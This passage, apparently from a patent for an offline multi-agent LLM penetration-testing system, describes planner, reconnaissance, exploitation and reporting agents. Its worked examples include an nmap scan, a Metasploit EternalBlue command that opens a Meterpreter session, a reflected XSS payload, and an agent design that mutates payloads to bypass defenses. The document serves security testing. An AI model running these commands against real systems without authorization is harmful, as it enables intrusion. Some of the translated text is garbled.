[0128] vulnerabilities: A list of vulnerabilities that records information on suspected vulnerabilities discovered through vulnerability searches (such as SearchSploit);

[0129] exploit_records: Penetration records, which save records of successes and failures of penetration testing attempts using agents;

[0130] errors: Error log, which records various exceptions and error messages encountered during the test;

[0131] current_stage: The current stage, indicating the current testing stage of the system, such as reconnaissance, vulnerability retrieval, exploitation, report generation, etc.

[0132] The global context manager uses an SQLite database for persistent storage, ensuring that test progress and historical data are not lost even after a system restart;

[0133] (2) Information compression and transmission

[0134] Since large language models have limitations on input length, the global context manager has a built-in context compressor. Before passing information to the planner, the context compressor automatically compresses long texts such as original scan results and vulnerability descriptions, extracts key information, and generates structured summaries. This effectively reduces the number of tokens passed to the LLM while ensuring information integrity, thus improving inference efficiency.

[0135] (3) State synchronization and sharing

[0136] The global context manager ensures that all agents can access the latest global state in real time; when any agent completes its task and updates the context, other agents can obtain the latest information in the next decision cycle, thus achieving true collaborative work.

[0137] Furthermore, the planner's main functions include:

[0138] (1) Stage identification and task decomposition

[0139] After receiving the user's input target, the planner first decomposes the task, breaking down the complex penetration testing process into several executable sub-tasks and determining the execution order of each sub-task; the main stages include: reconnaissance, vulnerability retrieval, exploitation, post-penetration, and report generation.

[0140] (2) Agent scheduling decision

[0141] At each decision point, the planner receives compressed context information from the global context manager, combines it with built-in task priority rules and historical experience, and outputs the next action instruction, i.e., which agent to call; for example, when the target information is not yet clear, the planner will prioritize scheduling the reconnaissance agent; after obtaining the vulnerability list, it will schedule the vulnerability retrieval agent for further analysis.

[0142] (3) Exception handling and retry mechanism

[0143] When an agent fails to execute or returns an abnormal result, the planner can make a judgment based on the error message and decide whether to retry the current task, try an alternative solution, or skip the task and move on to the next stage. For example, if an agent fails to exploit a vulnerability, the planner can instruct it to try the next vulnerability, or end the test and generate a partial results report after multiple failures.

[0144] (4) Termination condition judgment

[0145] The planner is responsible for monitoring the test process and determining whether the test results are met. The termination conditions can be: successfully obtaining target privileges, all preset vulnerability exploitation attempts have failed, the maximum test time or budget limit has been reached, or the user manually issues a termination command.

[0146] Furthermore, the main functions of the reconnaissance agent include:

[0147] (1) Host discovery

[0148] By invoking network scanning tools such as Nmap, port scanning and service identification are performed on the target. In typical mode, the main command format executed by the reconnaissance agent is as follows:

[0149] nmap -sS -sV -O -p- --open<target_ip>

[0150] This command uses TCPSYN half-open scanning to identify the target host's operating system type, open ports, and the services and versions running on those ports.

[0151] (2) Web information detection

[0152] When the target host is identified as running a web service, the reconnaissance intelligence will further utilize tools such as WhatWeb to probe the specific technology stack of the web server, including server type, content management system, front-end framework, programming language, etc., to provide clues for subsequent vulnerability retrieval.

[0153] (3) Result formatting and reporting

[0154] The reconnaissance agent parses and structures the raw scan results it collects, extracts key network asset information, and reports it to the global context manager in structured data formats such as JSON for use by subsequent agents.

[0155] (4) Information compression

[0156] Before reporting the complete scan results, the reconnaissance agent can call the context compressor to compress a large amount of raw data in a lossy or lossless manner, generating concise summary information to reduce the amount of global context data and reduce the overhead of subsequent processing.

[0157] Furthermore, the main functions of the vulnerability retrieval agent include:

[0158] (1) Retrieval based on local knowledge base

[0159] The vulnerability retrieval agent first queries information pre-installed in the local vulnerability database; this database contains detailed information on a large number of known vulnerabilities, such as CVE numbers, vulnerability descriptions, affected software versions, and exploitability assessments; the services and version information provided by the reconnaissance agent are the key inputs for this step;

[0160] (2) Model-based vulnerability reasoning

[0161] For vulnerabilities not included in the local knowledge base, or customized vulnerabilities for a specific target environment, the vulnerability retrieval agent will call the locally deployed large language model for analysis; the LLM will infer possible unknown or zero-day vulnerabilities based on its knowledge of common vulnerability patterns learned during training and the reconnaissance results.

[0162] (3) Vulnerability verification and screening

[0163] For the retrieved and inferred vulnerability list, the vulnerability retrieval intelligence will perform a preliminary complexity assessment and exploitability classification, mark high-value and high-probability vulnerabilities, and report the filtered vulnerability information to the global context manager.

[0164] (4) Vulnerability - Reasoning using knowledge graphs

[0165] The vulnerability retrieval agent constructs a knowledge graph containing vulnerabilities, exploitation methods, dependent service versions, and privilege escalation paths. Nodes include "service," "vulnerability," "exploitation method," "privilege level," and "dependencies," while edges represent relationships such as "impact," "exploitable," "dependent on," and "privilege escalation to." Through graph reasoning, the agent can identify multi-step combined exploitation paths, rather than simply ranking vulnerabilities by weight. For example, the graph can infer that "target running Apache 2.4.49 (node) → contains CVE-2021-41773 (vulnerable node) → exploitation grants a low-privilege shell (privilege node) → depends on kernel version 2.6.x (condition node) → further exploitation of Dirty Cow to escalate to root (privilege escalation path)," thus discovering combined high-risk risks that isolated vulnerability lists cannot reveal.

[0166] Furthermore, the working mode of the execution agent is as follows:

[0167] (1) Prioritization based on experience base

[0168] After receiving the vulnerability list reported by the vulnerability retrieval agent, the execution agent first queries the dynamic experience manager to check if there are any successful exploit records for this type of vulnerability or target environment; if there is a high-weight template script in the experience library, the agent will reuse the template first, which can significantly improve testing efficiency and success rate.

[0169] (2) Backup scheme for model generation

[0170] If no matching template is found in the experience base or the template attempt fails, the execution intelligence calls the local LLM to dynamically generate customized exploit code or commands based on the vulnerability description, target environment information, and built-in security operation guidelines.

[0171] (3) Safety Sandbox Implementation

[0172] All exploit attempts are executed in an isolated sandbox environment; the exploit execution agent starts a process to execute the generated commands or scripts, and its execution process is strictly monitored to prevent damage to the test host or other non-target systems; the execution results are captured and reported.

[0173] (4) Results Feedback

[0174] The agent reports detailed results of each penetration attempt to the global context manager; these results not only update the current test state, but also become an important data source for the dynamic experience manager to learn.

[0175] (5) Failure self-healing and code mutation mechanism (OODA closed loop)

[0176] When an exploit attempt fails, the exploit agent does not skip or simply retry. Instead, it enters an "Observe-Judgment-Decision-Execute" (OODA) closed loop: analyzing the failure output (observation), calling a large language model to determine the cause of failure (judgment), modifying parameters or logic in the command template (decision), and then automatically retrying (execution). Mutation methods include, but are not limited to: changing the encoding method (e.g., URL encoding, Base64 encoding), adjusting memory address offsets, modifying key parameters in the payload, and adjusting timeout thresholds. This mechanism simulates the dynamic debugging and bypass capabilities of advanced penetration testers, enabling the system to adaptively adjust attack strategies in complex and customized environments, significantly improving the success rate.

[0177] Furthermore, the main components and functions of the dynamic experience manager are as follows:

[0178] (1) Experience record structure

[0179] Each experience record is a structured data unit, with core fields including:

[0180] record_id: A unique identifier;

[0181] service_name: Service name;

[0182] version: Service version;

[0183] vulnerability_id: vulnerability identifier;

[0184] command_template: The command or script template that successfully exploits the vulnerability;

[0185] success_count: The number of times this template has been successfully executed;

[0186] failure_count: The number of times this template failed to execute;

[0187] weight_success_rate: The calculated success rate weight, used to guide the prioritization of subsequent exploit attempts;

[0188] last_used_timestamp: Last used timestamp, which can be used for data cleaning and update strategies;

[0189] (2) Dynamic weight update mechanism

[0190] After each exploit execution agent completes an attempt, the dynamic experience manager automatically updates the counters and weights of the relevant records;

[0191] The calculation logic for weights follows these principles:

[0192] weight_success_rate=success_count / (success_count+failure_count)

[0193] By quantitatively evaluating historical success rates, the system can intelligently identify the most effective attack paths and prioritize high-success-rate solutions in future tests.

[0194] (3) Intelligent retrieval and matching

[0195] When the exploit execution agent is preparing to launch an attack, it sends a query request to the dynamic experience manager; the experience manager retrieves the most relevant experience records by performing a fuzzy match with the current target environment and recommends them to the exploit execution agent.

[0196] (4) Data persistence and backup

[0197] Experience data is stored in a local SQLite database to ensure data persistence and security. At the same time, the system supports regular backups of the experience database and allows the import of initial seed data to accelerate the initial learning process of the system.

[0198] Furthermore, the context compressor specifically includes:

[0199] (1) Layered compression strategy

[0200] The context compressor employs a hierarchical strategy, differentiating information based on its importance; core decision information is preserved in its entirety; detailed scan logs and lengthy error outputs are summarized or truncated.

[0201] (2) Extraction of key information

[0202] The algorithm uses techniques such as regular expression matching and key string recognition to extract key entities and attributes such as IP address, port number, service name, version number, and error code from the original unstructured text, while removing irrelevant format characters and redundant descriptions.

[0203] (3) Structured summary generation

[0204] Using natural language processing techniques, the extracted key information is reorganized into a structured summary; for example, the Nmap scan results are organized into a standard format such as "target IP: XXX, open ports: 80 (http), 22 (ssh)" to facilitate quick parsing by the planner;

[0205] (4) Adaptive length control

[0206] The context compressor has a built-in adaptive truncation mechanism: if the initially compressed JSON string still exceeds the model token limit, the number of retained vulnerabilities and the length of the vulnerability headers will be gradually reduced until the constraints are met; tests have shown that this compressor can reduce the number of original context tokens by more than 65% while retaining 95% of the key decision information;

[0207] Furthermore, the browser automation module specifically includes:

[0208] (1) Dynamic interface extraction

[0209] Once the reconnaissance agent discovers a web port, it can invoke the browser automation module to access the target webpage, listen for network requests, and automatically record all dynamically initiated API requests, including information such as URL, request method, and parameters. These dynamic interfaces will be added to the API list in the global context for subsequent vulnerability retrieval and exploitation.

[0210] (2) XSS vulnerability verification

[0211] For injection points suspected of having cross-site scripting vulnerabilities, the browser automation module can execute the payload in a headless browser and monitor pop-up events such as alert and confirm or console output, thereby accurately determining whether XSS has been successfully triggered and greatly reducing the false positive rate.

[0212] (3) Automatic form submission and status capture

[0213] The module can automatically populate form fields, simulate clicking the submit button, and capture page responses and network requests after submission, helping to discover hidden API or privilege escalation vulnerabilities.

[0214] Furthermore, the reporting agent specifically includes:

[0215] (1) Data summarization and cleaning

[0216] Extract all relevant data from the global context manager, remove redundant information, and standardize the data format;

[0217] (2) Report template generation

[0218] The report agent has a variety of built-in report templates, and users can choose the appropriate template according to their needs;

[0219] (3) Natural Language Description Generation

[0220] The system calls upon a locally deployed large language model to automatically generate vulnerability principle explanations, exploitation process descriptions, and remediation suggestions based on vulnerability information and exploitation records, making the report highly readable.

[0221] (4) Report output

[0222] The final report can be saved as a local file or sent to a designated recipient via email, API, or other means.

[0223] Furthermore, the experience base initialization module provides a flexible experience base initialization mechanism, as follows:

[0224] (1) Startup of an empty warehouse

[0225] The system supports building an experience base from scratch. Without any prior knowledge, the system operates entirely based on the planner and the autonomous decisions of each agent. Although the efficiency is low in the early stages, in the long run, the experience base will be built entirely based on the organization's actual testing environment, with the highest degree of personalization.

[0226] (2) Import initial seed data

[0227] Users can also selectively import templates preset by experts or exported from other projects as initial seed data; this can help the system achieve a high success rate in the early stages when facing common technology stacks, significantly shorten the learning curve, and improve testing efficiency.

[0228] 1. Introduce an adaptive planning model based on the "attack chain state machine":

[0229] Instead of simple linear phase transitions, the planner's decisions should be based on a predefined attack chain state machine. State machine nodes include targets such as "unauthorized access," "user-level privileges," and "system-level privileges." Each time the planner makes a decision, it not only determines the next action but also assesses its current position in the attack chain and dynamically adjusts its attack strategy accordingly.

[0230] 2. Construct a "vulnerability-exploitation" knowledge graph to replace simple weighted ranking:

[0231] A knowledge graph is constructed by combining vulnerabilities, exploitation methods, dependent service versions, and required privilege escalation paths. Vulnerability retrieval agents and exploit execution agents can then deduce multi-step exploitation paths from this graph, rather than targeting only a single vulnerability. This allows for the discovery of combined high-risk risks that isolated vulnerability lists cannot reveal.

[0232] 3. Achieving self-healing from failures and leveraging code mutations to create a closed loop of "observation-judgment-decision-execution":

[0233] When an exploit attempt fails, the system should not simply retry or skip. The exploit execution agent should be able to analyze the failure output, invoke a large language model to modify the command template by changing parameters (such as changing the encoding method or adjusting memory address offsets) or making logical modifications, and automatically retry. This simulates the dynamic debugging capabilities of an advanced penetration tester, significantly improving the success rate in complex, customized environments.

[0234] 4. Design a distributed experience sharing and privacy protection mechanism based on the concept of federated learning:

[0235] Enhance the Experience Manager with secure sharing capabilities. With authorization, multiple deployment instances can exchange encrypted experience records, sharing only model update parameters or generalized attack patterns, without disclosing specific target information. This ensures customer privacy while enabling all instances to "get smarter with use," creating a network effect and building a strong technical barrier.

[0236] Evidence related to the technical effects obtained by the embodiments of the present invention.

[0237] 1. Example 1: Hardware and Software Environment Configuration

[0238] This embodiment provides a practically deployable offline environment configuration scheme.

[0239] 1.1 Hardware Configuration

[0240] 1.1.1 Hardware Configuration

[0241]

[0242] 1.1.2 Software Configuration

[0243]

[0244] 1.1.3 Offline Installation and Deployment Steps

[0245] 1. Download all dependency packages, model files, and Docker images from a network-connected machine and copy them to the offline server.

[0246] 2. Install Ollam and import the model: ollama create qwen3:32b -f Modelfile.

[0247] 3. Install Python dependencies and penetration testing tools.

[0248] 4. Start the Ollam service: ollama serve.

[0249] 2. Run the system main program: python main.py<target_ip> .

[0250] 2.1 Example 2: Complete penetration testing process for the MS17-010 vulnerability (e.g.) Figure 2 (As shown)

[0251] This embodiment takes an attack on a Windows 7 host (IP: 192.168.1.100, port 445 open) in an internal network that has the MS17-010 vulnerability (EternalBlue) as an example to explain in detail the execution steps of the present invention.

[0252] Step 1: Start the test

[0253] python main.py 192.168.1.100

[0254] The system initializes the global context, setting the current stage to init.

[0255] Step 2: First Planning and Decision Making

[0256] The planner reads the context (empty), calls the local LLM, and outputs:

[0257] {"next_agent":"reconnaissance agent","reason":"no scan data, port scan required","confidence":0.99}

[0258] Step 3: Execute the reconnaissance agent

[0259] Reconnaissance agent execution:

[0260] nmap -sS -p- -sV--open192.168.1.100

[0261] Scan results (fragment):

[0262] PORTSTATESERVICEVERSION

[0263] 445 / tcpopenmicrosoft-dsMicrosoftWindows7-10microsoft-ds(workgroup:WORKGROUP)

[0264] The reconnaissance agent simultaneously calls whatweb (skipping if there is no web port), structures the results, and stores them in the global context. The current stage is updated to recon_done.

[0265] Step 4: Second Planning Decision

[0266] The planner receives the compressed context, and the LLM outputs:

[0267] {"next_agent":"Vulnerability search agent","reason":"SMB service discovered, vulnerability search required","confidence":0.98}

[0268] Step 5: Execute the vulnerability detection agent

[0269] (1) SearchSploit: searchsploit -j"MicrosoftWindowsSMB", returns multiple vulnerabilities such as MS17-010 (CVE-2017-0143).

[0270] (2) Query Dynamic Experience Manager: Exact match service="smb", port=445, found one experience record with a weight of 0.92. The command template is:

[0271] use exploit / windows / smb / ms17_010_eternalblue;set RHOSTS{target};setLHOST{lhost};run

[0272] (3) The merged results are sorted by weight and stored in the global context. The stage is updated to search_done.

[0273] Step 6: Third Planning Decision

[0274] Planner output:

[0275] {"next_agent":"Exploiting the executing agent","reason":"Discovering a high-confidence vulnerability","confidence":0.95}

[0276] Step 7: Execute using the intelligent agent

[0277] (1) Prioritize using the template in the Experience Manager and fill in `target=192.168.1.100` and `lhost=192.168.1.200` (attacker's IP).

[0278] (2) Call Metasploit:

[0279] msfconsole -q -x

[0280] "use exploit / windows / smb / ms17_010_eternalblue;

[0281] setRHOSTS192.168.1.100;

[0282] set LHOST192.168.1.200;run"

[0283] (3) Execution successful, output includes Meterpreter session1opened. The agent captures this result and marks it as successful.

[0284] (4) Report the results to the global context and call the dynamic experience manager: increment the success_count of the corresponding experience by 1 and update the weight to 0.93.

[0285] (5) The stage is updated to exploit_done.

[0286] Step 8: Fourth Planning Decision

[0287] Planner output:

[0288] {"next_agent":"None","reason":"Permissions successfully obtained","confidence":1.0}

[0289] The test loop terminated.

[0290] Step 9: Generate a report

[0291] The reporting agent reads the global context and calls the local LLM to generate a penetration test report, which includes:

[0292] (1) Target information: IP 192.168.1.100, open port 445 (SMB).

[0293] (2) Discovered vulnerability: MS17-010 (EternalBlue), CVSS score 9.8.

[0294] (3) Utilization process: The Metasploit module ms17_010_eternalblue was used to successfully obtain a Meterpreter session.

[0295] (4) Repair suggestion: Install Microsoft patch KB4012212, or close port 445.

[0296] Save the report as report_192.168.1.100.html.

[0297] 2.3 Example 3: Automated browser verification of XSS vulnerabilities (such as...) Figure 3 (As shown)

[0298] Scenario: The target is a web application http: / / 192.168.1.101 / search, and the parameter q has a reflected XSS vulnerability.

[0299] Execution process:

[0300] 1. The reconnaissance agent identifies the site as using Apache+PHP through whatweb and calls the browser's automation module for dynamic detection.

[0301] 2. The browser's automation module accessed http: / / 192.168.1.101 / search?q=test and listened for network requests, but no additional APIs were found.

[0302] 3. The vulnerability retrieval agent did not find a direct vulnerability in the knowledge base, but the planner decided to attempt an XSS test and called the exploit execution agent.

[0303] 4. Generate test payloads using the executing agent: <script>alert(1)< / script> And inject it into parameter q through the browser automation module.

[0304] 5. Accessing browser automation modules in headless browsers

[0305] http: / / 192.168.1.101 / search?q= <script>alert(1)< / script> The system detected an alert pop-up event, confirming the existence of the XSS vulnerability.

[0306] 6. Record successful experiences:

[0307] service="http",vulnerability_title="ReflectedXSS",command_template=" <script>alert(1)< / script> Save it to the Experience Manager with a weight of 1.0.

[0308] 7. The report will automatically include details of the XSS vulnerability and verification screenshots (optional) when it is generated.

[0309] Figure 2 This is a module architecture diagram of the system of the present invention, which includes a global context manager, a planner agent, a reconnaissance agent, a vulnerability retrieval agent, an exploit execution agent, an internal experience manager, a context compressor, a browser automation module, a reporting agent, and an experience base initialization module. Solid arrows represent data flow, and dashed arrows represent decision flow.

[0310] Figure 3 This is a flowchart illustrating the multi-agent collaborative workflow of this invention, showing the ReAct decision loop and the calling conditions of each agent. The system follows the ReAct paradigm, sequentially performing planning decisions, agent execution, and context updates until the planner outputs "None" and generates a report. The diagram shows the calling branches and loop paths for the three agents (reconnaissance, vulnerability retrieval, and exploitation).

[0311] Figure 4 This is a comparison chart before and after context compression. The left side shows the complete original context (approximately 6500 characters, 1800 tokens) including Nmap scan results, vulnerability list, and attempt logs. The right side shows the simplified JSON generated after context compression, retaining only key fields (target, stage, open ports, vulnerability title, recent attempts), reducing the number of tokens by more than 65%, while retaining more than 95% of the key decision-making information.

[0312] Figure 5 This diagram illustrates the dynamic weight update process of the experience manager. The upper part shows the core fields of the experience record table (record_id, service, version, vuln_id, success, failure, weight, last_used). The lower part shows the weight update process: the execution agent reports the attempt results, the experience manager increments success_count or failure_count based on success or failure, and recalculates weight = success / (success+failure), thus achieving dynamic adaptation of experience weights.

[0313] 2.4 Example 4: Experimental Verification

[0314] To verify the technical effectiveness of this invention, the inventors conducted multiple sets of experimental tests in a simulated intranet test environment. The experimental environment configuration was as follows: the attacking machine deployed the system of this invention (hardware configuration: Intel Xeon Silver 4210 CPU, NVIDIA RTX 3090 GPU, 32GB RAM), and the target machine was a standalone host running a VulHub exploit container. The experimental results are as follows:

[0315] Experiment 1: Context Compression Effect Test

[0316] This experiment aims to verify the compression effect of the context compressor on the original penetration testing context and its impact on decision accuracy. Ten penetration testing scenarios of varying complexity were selected, and the number of tokens before and after compression, as well as the planner's decision accuracy, were recorded.

[0317] Experimental results show that the context compressor can reduce the number of original context tokens by an average of over 65% (approximately 1800 tokens originally, approximately 630 tokens after compression), while retaining over 95% of key information. With the compressed context input, the planner's decision accuracy remains above 90%, highly consistent with the decision results using the full context (difference less than 5%). See [link to compression performance documentation]. Figure 6 .

[0318] Experiment 2: Experience Manager Weight Convergence Test

[0319] This experiment aims to verify the self-learning effect of the dynamic experience manager. The experiment selected the same SMB service vulnerability (MS17-010) and conducted 10 repeated tests, recording the weight changes and exploitation time for each test.

[0320] Experimental results show that as the number of tests increases, the weight of the corresponding record in the experience manager gradually converges from the initial 0.60 to 0.93, and the utilization time gradually decreases from approximately 300 seconds in the first test to 180 seconds, a reduction of about 40%. This experiment demonstrates that the dynamic experience manager can effectively learn from historical tests and continuously improve testing efficiency. The weight convergence process can be found in [link to relevant documentation]. Figure 7 .

[0321] Experiment 3: Success Rate Test of Multi-Agent Collaborative Decision Making

[0322] This experiment aims to verify the effectiveness of the planner in multi-agent collaboration. Twenty different target machines with different service types (SMB, SSH, HTTP, RDP, etc.) were selected, and the accuracy of the planner's decision-making for the next agent scheduling step was recorded.

[0323] Experimental results show that the planner achieves a 92% accuracy rate in the stage decision-making (selecting the vulnerability retrieval agent or the exploit execution agent) after reconnaissance is completed; and a 90% accuracy rate in the exploit decision-making (selecting the exploit execution agent or report generation) after vulnerability retrieval is completed. The overall decision-making accuracy across all stages exceeds 90%.

[0324] Experiment 4: Cost Comparison Analysis

[0325] This experiment compares the long-term operating costs of the present invention with those of a cloud-based solution (using RapidPen as a reference) through theoretical calculations.

[0326]

[0327] As shown in the table above, when the number of tests exceeds approximately 1000, the total cost of this invention begins to fall below the estimated low cost of cloud-based solutions; in larger-scale testing scenarios, the cost advantage of this invention is even more significant. For government and enterprise organizations that require long-term, high-frequency security testing, this invention has a clear economic advantage.

[0328] Experiment 5: Browser Automated XSS Validation Effectiveness Test

[0329] This experiment aims to verify the effectiveness of the browser automation module in detecting XSS vulnerabilities. Ten test pages known to contain reflected XSS vulnerabilities were selected, and the traditional response text matching-based detection method and the browser automation detection method of this invention were compared.

[0330] Experimental results show that the false positive rate of traditional detection methods is 40% (marking payloads that are not actually triggered as vulnerabilities), while the browser automation detection method of this invention reduces the false positive rate to 0% and achieves 100% accuracy by actually executing the payload in a headless browser and monitoring pop-up events. This experiment demonstrates that the browser automation module can significantly improve the accuracy and reliability of Web vulnerability detection.

[0331] The experimental data above show that the present invention achieves better or acceptable technical results than existing solutions in five dimensions: context compression efficiency, experience self-learning ability, multi-agent collaborative decision-making, operating cost, and Web vulnerability verification, thus verifying the effectiveness and practicality of the technical solution.

[0332] It should be noted that embodiments of the present invention can be implemented in hardware, software, or a combination of both. The hardware portion can be implemented using dedicated logic; the software portion can be stored in memory and executed by a suitable instruction execution system, such as a microprocessor or dedicated-design hardware. Those skilled in the art will understand that the above-described devices and methods can be implemented using computer-executable instructions and / or included in processor control code, for example, such code provided on a carrier medium such as a disk, CD, or DVD-ROM, a programmable memory such as read-only memory (firmware), or a data carrier such as an optical or electronic signal carrier. The devices and modules of the present invention can be implemented by hardware circuitry such as very large-scale integrated circuits or gate arrays, semiconductors such as logic chips, transistors, or programmable hardware devices such as field-programmable gate arrays, programmable logic devices, etc., or by software executed by various types of processors, or by a combination of the above-described hardware circuitry and software, such as firmware.

[0333] The above description is merely a specific embodiment of the present invention, but the scope of protection of the present invention is not limited thereto. Any modifications, equivalent substitutions, and improvements made by those skilled in the art within the scope of the technology disclosed in the present invention, and within the spirit and principles of the present invention, should be covered within the scope of protection of the present invention.

[0334] This invention can be further extended to multi-instance collaborative scenarios. With authorization, multiple deployed instances can exchange encrypted experience records and update parameters through a distributed experience-sharing mechanism based on federated learning. This allows for collective intelligent evolution while protecting the privacy of their respective targets, creating a network effect and building stronger technological barriers. This direction can be considered for future research in this invention.< / version> < / service> < / target>

Claims

1. An automated penetration testing method based on offline multi-agent systems, characterized in that, include: Step 1: The planner obtains the compressed global context; The planner invokes an offline large language model to generate decision instructions based on the compressed global context. The decision instructions include a next agent type field, a decision reason field, and a confidence field. Step 2: When the next agent type field indicates a reconnaissance agent, the reconnaissance agent performs port scanning and service identification, and updates the reconnaissance results to the global context. Step 3: When the next agent type field indicates a vulnerability retrieval agent, the vulnerability retrieval agent traverses the open ports and corresponding services, queries vulnerability knowledge sources, and updates the vulnerability list to the global context. Step 4: When the next agent type field indicates an exploit execution agent, the exploit execution agent attempts to exploit the candidate vulnerabilities in the vulnerability list and feeds back the exploit results to the experience manager. Step 5: The planner obtains the updated compressed global context again and generates new decision instructions until the next agent type field indicates a null value.

2. The method according to claim 1, characterized in that, Before the planner obtains the compressed global context, the process further includes: a context compressor performing key entity extraction on the original scan result text and vulnerability description text, wherein the key entities include IP address, port number, service name and version number, and generating a structured digest to reduce the number of tokens.

3. The method according to claim 1, characterized in that, The planner is also used to execute exception handling logic: when the reconnaissance agent, vulnerability retrieval agent, or exploitation agent returns an execution failure result, the planner decides to execute a retry, schedule an alternative agent, or skip the current subtask based on the error information in the failure result.

4. The method according to claim 1, characterized in that, When attempting to exploit the vulnerability using the execution agent, the system first retrieves a command template that matches the current target service and vulnerability identifier from the experience manager, fills in the target address parameter and the listening host address parameter, and then executes it. If no matching command template is found, the offline large language model is invoked to generate an exploit command based on the vulnerability description.

5. The method according to claim 4, characterized in that, After receiving the utilization result, the experience manager updates the success count field or failure count field in the experience record corresponding to the command template used, and recalculates the success rate weight field, which is obtained by dividing the success count by the sum of the success count and the failure count.

6. A method for managing and reusing penetration testing experience based on the offline multi-agent automated penetration testing method as described in any one of claims 1-5, characterized in that, include: Maintain an experience record database, with each experience record including a service name field, a version field, a vulnerability identifier field, a command template field, and a success rate weight field; Receive a query request from the exploit execution agent, the query request carrying the target service name and target version; Retrieve experience records that match the service name field and version field from the experience record library, and return the command template from the matching experience record to the vulnerability exploit execution agent; The exploitation result is received from the exploitation agent, which includes the identifier of the command template used and an indication of whether the execution was successful or failed. Based on the indication of successful or failed execution, update the success count field or failure count field of the corresponding experience record, and recalculate the success rate weight field.

7. The method according to claim 6, characterized in that, The experience record library also includes a last-used timestamp field; the method further includes: performing data cleaning on the experience records based on the last-used timestamp field, and removing records that have not been used beyond a preset time threshold.

8. The method according to claim 6, characterized in that, The method further includes: receiving initial seed data, the initial seed data including a preset service name, version and corresponding command template, and importing the initial seed data into the experience record library.

9. The method according to claim 6, characterized in that, The initial value of the success rate weight field is set to zero in the empty database startup mode; when there are no matching experience records, the method triggers the process of generating exploit commands from the offline large language model.

10. The method according to claim 6, characterized in that, The exploit agent executes exploit commands in an isolated sandbox environment and captures the output of the execution process; if the captured output contains Meterpreter session characteristics or command shell session characteristics, the exploit is considered successful.

Images